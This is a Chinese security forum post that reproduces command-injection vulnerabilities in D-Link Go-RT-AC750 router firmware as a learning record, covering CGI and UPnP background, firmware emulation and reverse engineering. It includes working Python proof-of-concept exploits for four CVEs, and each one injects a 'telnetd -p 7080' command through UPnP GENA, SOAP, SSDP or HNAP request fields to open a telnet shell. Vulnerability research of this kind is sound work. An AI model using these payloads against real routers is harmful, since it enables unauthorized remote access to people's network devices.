首页
社区
课程
招聘
[原创]D-Link Go-RT-AC750命令注入漏洞复现(学习记录)
2023-8-5 19:22 14308

[原创]D-Link Go-RT-AC750命令注入漏洞复现(学习记录)

2023-8-5 19:22
14308

0x01 前言介绍

前面的复现都是以CVE编号为主的复现,这次换个方式,以路由器型号为单位进行复现。本次复现的命令注入漏洞都是D-Link Go-RT-AC750中存在的漏洞,目前一共有五个:

0x02 背景知识

在对D-Link Go-RT-AC750命令注入漏洞复现前先了解一些背景知识,主要是CGI和UPnP。

2.1 CGI(Common Gateway Interface)通用网关接口

CGI规定了Web服务器调用CGI程序的接口协议标准。Web服务器通过调用CGI程序实现和Web浏览器的交互, 即CGI程序接收Web浏览器发送给Web服务器的信息并进行处理, 将处理后的结果返回给Web服务器。组成CGI通信系统的是两部分:一部分是html页面,用于在浏览器上显示;另一部分则是运行在服务器上的CGI程序。

通常情况下,服务器和CGI程序在Web环境变量的协作下,通过标准输入(stdin)和标准输出(stdout)来进行数据传递。以Go-RT-AC750的Web服务器工作流程为例:

  1. 服务器接收到浏览器传来的URL,识别URL中指定的脚本,如xx.php或xx.cgi并将其交给cgibin解析处理。
  2. 服务为CGI程序(cgibin)执行做准备,比如准备环境变量和相关参数。
  3. CGI程序(cgibin)读取标准输入和相关环境变量,执行相应处理,处理完后将结果由标准输出返回到服务器。
  4. 服务器将收到的处理结果传回浏览器。

CGI程序继承了系统的环境变量。CGI环境变量在CGI程序启动时初始化,在CGI程序结束时销毁。当CGI程序被HTTP服务器调用时,它的环境变量就会增加一些和HTTP服务相关的环境变量。下面是一些常见的和HTTP相关的环境变量(CGI程序使用getenv()函数获取环境变量,例如 getenv("CONTENT_TYPE")):

变量 含义
REQUEST_METHOD 服务器与CGI程序之间的信息传输方式
QUERY_STRING 采用GET时所传输的信息
CONTENT_LENGTH 传来的有效信息长度
CONTENT_TYPE 传来的信息的MIME类型
SERVER_NAME 服务器的IP或名字
SERVER_PORT 服务器的端口号
SERVER_ID 服务ID
REMOTE_ADDR 客户机的主机名
REMOTE_HOST 客户机的IP地址

2.2 UPnP(Universal Plug and Play)通用即插即用

UPnP是由微软提出的一种通用即插即用技术,后续联合英特尔等多家科技公司共同制定了UPnP标准。UPnP主要是为了实现在“零配置”的前提下在联网设备间能自动连接和协同工作。UPnP的协议栈结构图如下:

UPnP协议体系结构中主要协议和规范包括:

  • SSDP(Simple Service Discovery Protocol)简单服务发现协议,用于发现网络中的UPnP设备。
  • GENA(Generic Event Notification Architecture)通用事件通知结构,用于及时通知状态变化。
  • SOAP(Simple Object Access Protocol),简单对象访问协议,用于保证UPnP设备具有互操作能力。
  • XML(Extensible Markup Language)可扩展标记语言,对设备和服务进行统一的描述。

当加入一个新的UPnP设备时,工作流程如下:

  1. 设备加入网络后通过设备寻址(addressing)就可自动获得IP地址;
  2. 通过设备发现(discover)控制点就可知道网络上存在哪些设备;
  3. 通过设备描述(description)控制点就可知道设备详细信息以及设备提供哪些服务;
  4. 通过设备控制(control)控制点可以使用设备的服务;
  5. 通过设备事件(event)就可以将其状态变化及时告诉给订阅的控制点;
  6. 通过设备展示(presentation)控制点可以用浏览器察看设备状态和控制设备。

通过上述六个步骤,UPnP设备可以做到在“零配置”的前提下提供联网设备之间的自动发现、自动声明、“直接”信息交换和互操作等功能,真正实现“设备即插即用”。

这里只是给个简单介绍,具体实现细节请阅读UPnP官方文档,链接见参考文章。

0x03 固件解包及模拟

使用binwalk解包,获取文件系统:

1
binwalk -Me GORTAC750_A1_FW_v101b03.bin

解包成功,浏览完文件系统中文件发现有telnetd,可用于漏洞验证:

以调试方式模拟固件,以便分析过程中使用shell查看运行时相关信息:

模拟成功后扫描端口:

通过调试shell查看文件:/var/run/httpd.conf 可知49152是upnp服务端口。

0x04 CVE-2023-34800

4.1 漏洞分析

根据漏洞披露的信息,这个漏洞和服务参数以及genacgi_main函数有关,查找字符串genacgi_main找到相关文件htdocs/cgibin:

将htdocs/cgibin拿到IDA中分析,并直接定位到函数genacgi_main,调用该函数的代码为:

在cgibin程序的main函数中判断是否为gena.cgi

genacgi_main函数的功能是:检查HTTP请求方法和判断URI中是否有?service=,若HTTP请求方法为SUBSCRIBE或UNSUBSCRIBE则调用对应的函数处理。当REQUEST_METHOD为SUBSCRIBE时,获取一些环境变量并使用sprintf函数拼接成字符串传入到xmldbc_ephp函数中处理:

xmldbc_ephp函数将拼接的subscribe_string 通过/var/run/xmldb_sock传入到/htdocs/upnp/run.NOTIFY.php文件中进行处理并返回处理结果到服务器。subscrib_string的内容形式为:

1
2
3
假设传入:SUBSCRIBE URL ?service=service_xx
 
/htdocs/upnp/run.NOTIFY.php\nMETHOD=SUBSCRIBE\nINF_UID=SERVER_ID\nSERVICE=service_xx\nSID=HTTP_SID\nTIMEOUT=time_xx\nSHELL_FILE=/var/run/service_xx.sh

查看/htdocs/upnp/run.NOTIFY.php文件内容:

查找文件中涉及的函数GENA_subscribe_new:

综上可知漏洞点在fwrite(a, $shell_file, "rm -f ".$shell_file."\n"); 代码中的目的是为了执行rm -f shell_file命令删除shell_file文件,但shell_file可通过SUBSCRIBE传入的服务参数进行控制并且全程没有任何对服务参数的检查,从而可实现命令注入。

4.2 漏洞复现

此漏洞涉及到的是UPnP的GENA(通用事件通知结构)相关内容,当设备服务状态发生变化时,会通过event通知控制点。控制点能收到通知的前提是要先订阅(SUBSCRIBE)该服务的指定event。订阅特定服务的事件的方法是:发送订阅消息到该服务的事件 URL。通过分析可知,此漏洞的触发条件是要路由器发送UPnP订阅服务的请求。根据UPnP官方文档可知订阅请求格式如下:

结合UPnP文档和/var/run/httpd.conf文件内容 可知要构造的subscriber的请求头如下:

1
2
3
4
5
SUBSCRIBE /gena.cgi?service=;telnetd -p 7080 HTTP/1.1
Host: 192.168.0.1:49152
Callback: <http://192.168.0.1/>
NT: upnp:event
Timeout: Second-infinite

Poc脚本执行后,成功取得shell:

4.3 Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from socket import *
from os import *
from time import *
 
request = b"SUBSCRIBE /gena.cgi?service=;telnetd -p 7080 HTTP/1.1\r\n"
request += b"Host: 192.168.0.1:49152\r\n"
request += b"Callback: <http://192.168.0.1/>\r\n"
request += b"NT: upnp:event\r\n"
request += b"Timeout: Second-infinite\r\n\r\n"
  
s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(request)
  
sleep(10)
system('telnet 192.168.0.1 7080')

0x05 CVE-2023-26822

5.1 漏洞分析

根据漏洞披露的信息可知漏洞点和 service 参数以及 soapcgi_main 有关,在文件系统中查找soapcgi_main并定位到所在文件cgibin,将其拿到IDA中逆向分析,通过函数名查找,定位到soapcgi_main函数,调用该函数的代码如下:

soapcgi_main中关键代码如下:

这段代码是在获取与请求相关的环境变量,可获得的信息有:

  • REQUEST_METHOD: POST
  • CONTEXT_TYPE: text/xml
  • REQUEST_URI:含?service=
  • HTTP_SOAPACTION:含有“”,且“”中含有#

综上分析可知,漏洞出现的原因是POST 的URI中?service=后面的内容可由输入控制,全程没有对该处输入进行检查,直接sprintf后由system函数执行。

5.2 漏洞复现

此漏洞涉及到的是UPnP的SOAP(简单对象访问协议)相关内容,SOAP主要是用于保证UPnP设备具有互操作能力。控制点可以调用UPnP设备上的服务,并接收返回结果。根据UPnP官方文档,要调用UPnP设备上的服务,控制点必须以POST方法发送以下格式的请求:

由上面的分析可知要构造的POST请求头如下:

1
2
3
4
5
POST /soap.cgi?service=;telnetd -p 7080 HTTP/1.1
Host: 192.168.0.1:49152
Content-Length: 100
Content-Type: text/xml
SOAPAction: "urn:schemas-upnp-org:service:serviceType:v#actionName"

Poc脚本执行后,成功取得shell:

5.3 Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from socket import *
from os import *
from time import *
 
request = b"POST /soap.cgi?service=;telnetd -p 7080 HTTP/1.1\r\n"
request += b"Host: 192.168.0.1:49152\r\n"
request += b"Content-Type: text/xml\r\n"
request += b"Content-Length: 100\r\n"
request += b"SOAPAction: \"urn:schemas-upnp-org:service:serviceType:v#actionName\"\r\n\r\n"
  
s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(request)
  
sleep(10)
system('telnet 192.168.0.1 7080')

0x06 CVE-2022-37057

6.1 漏洞分析

根据漏洞披露的信息可知和ssdpcgi_main函数以及cgibin文件有关,将cgibin文件拿到IDA中分析并直接搜索ssdpcgi_main函数,调用该函数的代码为:

根据前面分析的漏洞可知,这次漏洞请求URL中的文件是ssdpcgi。ssdpcgi_main函数中漏洞点关键代码如下:

根据上图代码可知要实现命令注入需要的环境变量如下:

  • HTTP_ST:uuid:
  • REMOTE_ADDR
  • REMOTE_PORT
  • SERVER_ID

这些数据被传入lxmldbc_system函数,在该函数中直接拼接执行,没有任何检查。这几个环境变量中只有HTTP_ST是需要请求头设定的,即HTTP_ST是可控制的输入,因此HTTP_ST的值即为漏洞点。

6.2 漏洞复现

此漏洞涉及到的是UPnP的SSDP(简单服务发现协议)相关内容,该协议主要是用于发现网络中的UPnP设备。控制点(用户操作的HTTP客户端)可以通过使用简单服务发现协议,根据自己的需要在网络中查询能够提供特定服务的设备。相应的设备(也就是本路由器)向控制点发出回应,声明自己的存在及能提供的服务。该协议在HTTP之下使用的是UDP。控制点需要用以下格式发送请求:



综上分析,结合UPnP文档和/var/run/httpd.conf文件内容 可知要构造的请求头如下:

1
2
3
M-SEARCH * HTTP/1.1
Host: 192.168.0.1:1900
ST: uuid:12345;telnetd -p 7080

Poc脚本执行后,成功取得shell:

6.3 Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from socket import *
from os import *
from time import *
 
request = b"M-SEARCH * HTTP/1.1\r\n"
request += b"Host: 192.168.0.1:1900\r\n"
request += b"ST: uuid:12345;telnetd -p 7080\r\n\r\n"
  
# Set up UDP socket
s = socket(AF_INET, SOCK_DGRAM, 0)
s.sendto(request, ("192.168.0.1", 1900))
s.close()
  
sleep(10)
system('telnet 192.168.0.1 7080')

0x07 CVE-2022-37056

7.1 漏洞分析

根据漏洞披露的信息可知和hnap_main函数以及cgibin文件有关,将cgibin文件拿到IDA中分析并直接搜索hnap_main函数,调用该函数的代码为:

hnap_main函数中关键代码如下:


代码中没有对HTTP_SOAPACTION的值进行检查,直接将其内容中“/”后的内容拼接到buffer中执行。要想HTTP_SOAPACTION的值被作为注入点执行,请求方式不能为POST,可设定为GET,URL为/HNAP1/

7.2 漏洞复现

Poc脚本执行后,成功取得shell:

7.3 Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from socket import *
from os import *
from time import *
 
request = b"GET /HNAP1/ HTTP/1.1\r\n"
request += b"Host: 192.168.0.1\r\n"
request += b"SOAPAction: \"http://purenetworks.com/HNAP1/GetDeviceSettings/;telnetd -p 7080;\"\r\n\r\n"
  
s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 80))
s.send(request)
  
sleep(10)
system('telnet 192.168.0.1 7080')

0x08 CVE-2022-36523

根据漏洞披露的信息,此漏洞和/htdocs/upnpinc/gena.php文件有关。查看该文件内容:

通过查找该文件相关函数调用关系发现此漏洞和CVE-2023-34800所提及的是同一个漏洞。那么此漏洞的复现过程及Poc见CVE-2023-34800。

0x09 复现总结

D-Link Go-RT-AC750相关的命令注入漏洞复现就告一段落了,起初看到一个设备有这么多命令注入漏洞,就很好奇会不会是同一个原因造成的,经过逐一复现后发现也能算是同一个原因,使用UPnP服务不检测输入的原因。这个固件把UPnP的GENA、SOAP、SSDP等位置的漏洞都触发了一遍,是一个很好的学习UPnP漏洞的样本。

0x10 参考文章


[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

最后于 2023-8-5 19:23 被伯爵的信仰编辑 ,原因:
上传的附件:
收藏
点赞6
打赏
分享
最新回复 (3)
雪    币: 12129
活跃值: (15560)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2023-8-6 15:23
2
0
感谢分享
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
冷静与冷却 2023-9-16 18:31
3
0
请问为什么文件系统中文件发现有telnetd,就可用于漏洞验证,能解释一下吗,不太明白,谢谢!
雪    币: 19773
活跃值: (29390)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2023-9-16 23:14
4
1
感谢分享
游客
登录 | 注册 方可回帖
返回